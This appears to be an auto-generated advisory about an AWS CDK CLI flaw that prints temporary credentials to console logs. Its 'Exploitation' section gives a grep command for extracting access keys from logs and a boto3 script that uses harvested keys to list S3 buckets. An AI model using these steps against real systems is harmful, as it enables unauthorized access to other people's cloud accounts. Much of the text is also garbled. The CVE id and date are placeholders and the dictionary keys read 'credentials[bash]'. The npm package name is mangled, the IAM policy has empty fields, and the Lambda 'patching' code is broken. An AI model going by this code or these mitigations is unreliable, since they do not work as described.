How the CVE Works:
The vulnerability in the AWS CDK CLI (CVE-2024-XXXX) arises when temporary AWS credentials are exposed in the console output. This occurs when credential plugins return an `expiration` property in the credentials object, indicating that the credentials are temporary. When users run CDK CLI commands (e.g., cdk deploy) with such plugins, the credentials, including accessKeyId, secretAccessKey, and sessionToken, are inadvertently logged in the console. This exposes sensitive credentials to anyone with access to the console output, potentially leading to unauthorized access to AWS resources. The issue affects AWS CDK CLI versions >=2.172.0 and <2.178.2.
DailyCVE Form:
Platform: AWS CDK CLI
Version: >=2.172.0, <2.178.2
Vulnerability: Credential Exposure
Severity: Critical
Date: 2024-XX-XX
What Undercode Say:
Exploitation:
- Exploit Scenario: An attacker with access to the console output (e.g., logs, CI/CD pipelines) can extract temporary AWS credentials and use them to access AWS resources.
2. Exploit Command:
grep -oP '(?<=accessKeyId: ).' cdk-output.log
This command extracts `accessKeyId` from logs.
3. Exploit Code:
import boto3
credentials = {
"accessKeyId": "<access-key>",
"secretAccessKey": "<secret-key>",
"sessionToken": "<session-token>"
}
session = boto3.Session(
aws_access_key_id=credentials[bash],
aws_secret_access_key=credentials[bash],
aws_session_token=credentials[bash]
)
s3 = session.client("s3")
buckets = s3.list_buckets()
print(buckets)
Mitigation:
- Upgrade: Update AWS CDK CLI to version 2.178.2 or later.
npm install -g [email protected]
- Workaround: Modify credential plugins to remove the `expiration` property.
return { accessKeyId: assumeRoleOutput.Credentials.AccessKeyId, secretAccessKey: assumeRoleOutput.Credentials.SecretAccessKey, sessionToken: assumeRoleOutput.Credentials.SessionToken, }; - Log Monitoring: Implement log filtering to prevent credential leakage.
export CDK_LOG_LEVEL=ERROR
- IAM Policies: Restrict permissions for temporary credentials using IAM policies.
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Action": "", "Resource": "", "Condition": { "StringLike": { "aws:TokenIssueTime": "" } } } ] } - Audit: Regularly audit AWS CloudTrail logs for unauthorized access.
aws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=<access-key>
- Environment Hardening: Use AWS Systems Manager to enforce secure configurations.
aws ssm put-parameter --name "/cdk/secure-config" --value "secure" --type String
- Automated Patching: Use AWS Lambda to automate patching of vulnerable CDK CLI versions.
import boto3 def lambda_handler(event, context): ec2 = boto3.client("ec2") instances = ec2.describe_instances() for instance in instances[bash]: ec2.create_tags( Resources=[bash]], Tags=[bash] )By following these steps, users can mitigate the risk of credential exposure and secure their AWS CDK CLI environments.
References:
Reported By: https://github.com/advisories/GHSA-v63m-x9r9-8gqp
Extra Source Hub:
Undercode
